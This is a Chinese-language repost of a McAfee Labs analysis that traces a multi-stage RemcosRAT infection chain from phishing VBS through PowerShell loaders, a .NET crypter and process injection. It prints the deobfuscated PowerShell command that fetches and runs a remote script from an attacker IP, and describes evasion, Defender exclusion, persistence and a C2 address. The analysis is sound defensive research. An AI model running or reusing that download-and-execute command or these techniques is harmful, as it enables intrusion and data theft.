RemcosRat 恶意软件的面纱

2023年 9月 21日 91.8k 0

McAfee 实验室观察到 Remcos RAT 活动,其中恶意 VBS 文件通过网络钓鱼电子邮件传递。网络钓鱼电子邮件包含 ZIP/RAR 附件。在这个 ZIP 中,有一个严重混淆的 VBS 文件。

Remcos 是一种复杂的 RAT,它为攻击者提供对受感染系统的后门访问并收集各种敏感信息。Remcos 结合了不同的混淆和反调试技术来逃避检测。它定期更新其功能,使该恶意软件成为一个具有挑战性的对手。

执行流程:

 

图1 :执行流程

第1阶段:VBS文件分析

VBS文件是从R​​AR文件中下载的,该文件名为“ August 2023 Statement of Account.z ”,该VBS文件使用了各种技术,使分析变得非常困难;包括大量注释代码和随机字符串,这些字符串掩盖了真实的执行链,使其无法快速可见。实际执行的数据也被混淆了。

研究此 VBS 脚本从处理大型注释块开始,如下图所示。

图2 :VBS脚本

一个混淆的字符串引用一个 URL。该脚本包含一个替换函数来对正确的命令行进行反混淆。

VBS 脚本的另一部分是执行函数,如下图所示,它仅解码虚假消息。 “omg!it’s_so_long_:-)you_found_the_secret_message_congrats!!”

图3 :使用替换功能对 PowerShell 命令进行反混淆。

此 VBS 脚本的目的是使用 PowerShell 下载有效负载。为了增加大小并使脚本变得模糊,添加了注释。PowerShell 命令反混淆为:

“powershell -w 1 -exeC Bypass -c “”[scriptblock]::Create ((Invoke-WebRequest ‘http://212.192.219.52/87656.txt’ -UseBasicParsing).Content).Invoke();””” 

第2阶段:PowerShell脚本分析(87656.txt)

下载的文件87656.txt是一个经过混淆的 PowerShell 脚本。

图4 :混淆的 PowerShell 脚本

反混淆逻辑首先搜索任何包含“mdR”的变量;在这种情况下, 结果是“ MaximumDriveCount”。从该字符串中,选择位置 [3,11,2] 处的字符,得到字符串“iex”。这里恶意软​​件混淆了 iex(Invoke-Expression) 命令以逃避静态检测。

图5 :解决 IEX

然后,PowerShell 脚本使用 Base64String 算法对数据进行解码,并使用 Deflate Stream 算法对解码后的数据进行解压缩。

解压后的数据又是一个PowerShell脚本,下面进行分析。

第3阶段:解压后的PowerShell脚本分析

解压后的PowerShell脚本很大并且很混乱:

图6 :解压后的 PowerShell 脚本

脚本的第一部分与第一个 PowerShell 文件中存在相同的逻辑。它再次使用 psHome 变量解码调用表达式“ieX”。

图7 :反混淆 PowerShell 脚本

PowerShell脚本的第二部分包含一个base64编码的PE文件,稍后将对其进行分析。

图8 :Base64 编码数据。

PowerShell脚本的第三部分用于将解码后的PE文件注入到新创建的进程中。反混淆后,使用下面的代码进行代码注入。PowerShell脚本将“Wintask.exe”作为新进程启动,并将上述PE文件注入Wintask.exe进程中。

图9 :用于 PE 注入的代码。

添加了 Windows Defender 排除项。

图10 :排除代码

第 4 阶段:分析解码后的 PE 文件

1.1MB PE 文件是. NET二进制文件,使用 MSIL 加载程序。

图11 :MSIL 加载程序

Main 函数调用 Units 函数,后者调用随机函数。

图12 :主要功能

随机函数包含大量加密数据,存储在文本变量中。

图13 :加密数据

“文本”数据首先从字符串转换为十六进制数组,然后反转并存储在变量“数组”中。解密密钥被硬编码并存储在变量“ array4”中。密钥是“ 0xD7 ”(十进制215)。

图14 :将数据转换为大写的代码。

解密循环发出RC4算法。数据解密一个 PE 文件,该文件是一个 DLL(动态链接库),使用“ NewLateBinding.LateGet()”方法加载并执行,并将有效负载文件 (dGXsvRf.dll) 作为参数传递,如下所示。

为了在内存中执行解密的 DLL,恶意软件使用反射代码加载。在此过程中,恶意软件在同一进程中注入并执行解密的代码。为此,恶意软件使用“NewLateBinding.LateGet()”函数中的加载参数。

图15 :RC4算法

图16 :为解密的 dll 创建的新实例

阶段 5: dGXsvRf.dll分析

解密的 DLL“ dGXsvRf.dll ”是 SykCrypter 木马,使用包含加密负载的名为“SYKSBIKO”的资源。

图17 :加密的有效负载

SykCrypter 解密最终有效负载并解密许多与识别 AV 软件存在、持久性和反调试技术相关的字符串。SykCrypter加密数据非常大,使用170作为密钥和当前索引的简单异或运算来解密。  

图18 :SykCryptor 加密数据

每个字符串都使用预定义的函数进行解密和访问,该函数将其长度和偏移量硬编码在一个大字节数组中。最终的有效负载存储在资源中,并使用 RC4 算法和密钥“ uQExKBCIDisposablev ”进行解密。

图19 :RC4 算法

另一个大小为 0x1200 且方法名称为“Zlas1”的 .NET dll 用于紧缩。

图20 :加载 DLL 以进行紧缩。

然后,DLL 解密各种安全解决方案进程名称的列表:

图21 :解密安全进程名称的代码

解密的进程名称列表包括:

vsserv bdservicehost odscanui bdagent  

bullgaurd BgScan BullGuardBhvScanner 等

该恶意软件还使用 cmd 将自身副本放入 %appdata% 文件夹中。

图22 :复制文件。

持久性:

为了保持系统重新启动,恶意软件会在 Documents 文件夹中创建一个扩展名为 .pif 的快捷方式文件,并创建一个注册表 Run 项。

图23 :持久化机制

进程注入:

SykCrypter Dll 解密并加载 .NET 文件并调用其“GetDelegateForFunctionPointer”函数,以相同的方法创建对来自 kernel32 和 NTDll.dll 的所有 API 的委托。它加载GetThreadContext、SetThreadContext、ReadProcessMemory、VirtualAllocEx、NtUnmapViewOfSection等。

然后,最后它加载“WriteProcessMemory”API,该 API 将解密的有效负载注入进程并调用ResumeThread 。

图24 :进程注入

第 6 阶段:最终有效负载分析

最终有效负载是 Microsoft Visual C++ 8 可执行文件,大小为 477 KB。文件中直接可见的字符串是:

图25 :有效负载中的字符串

Remcos的配置文件存在于RCData“SETTINGS”中,该文件使用RC4算法加密。在给定示例中,密钥大小为 76 字节长。

图26 :RC4加密的配置文件

解密配置:

图27 :解密后的配置

Remcos 配置包含 C2 信息 (172.96.14.18)、其端口号 (2404)、恶意软件 (Rmc-OB0RTV) 创建的互斥锁以及其他配置详细信息。它能够从各种应用程序(例如浏览器、电子邮件客户端、加密货币钱包等)收集信息。它还允许攻击者进行远程访问,并可以充当其他恶意软件的植入程序。

结论:

RemcosRat是一种复杂的多阶段威胁。McAfee Labs 解开了该恶意软件如何下载和执行 VBS 和 PowerShell 脚本;威胁如何解开不同层并下载最终的 Remcos 远程访问负载。在 McAfee,我们致力于为客户提供强大而有效的威胁防御,以检测并防范 RemcosRat 和许多其他系列等威胁。我们的安全软件结合使用签名、机器学习、威胁情报和基于行为的检测技术来识别和阻止威胁,以确保您的安全。

IOC

转载来源:https://www.mcafee.com/blogs/other-blogs/mcafee-labs/peeling-back-the-layers-of-remcosrat-malware/?&web_view=true

图片来源网络侵权可联系删除

相关文章

Mallox勒索软件新Linux变种现世
伪装成破解程序和商业工具的新型恶意软件正在传播
Orcinius后门新样本分析
Poseidon窃取程序通过Google广告感染Mac用户
大选开始之际,欧盟各政党遭受 DDoS 攻击
微软2024

发布评论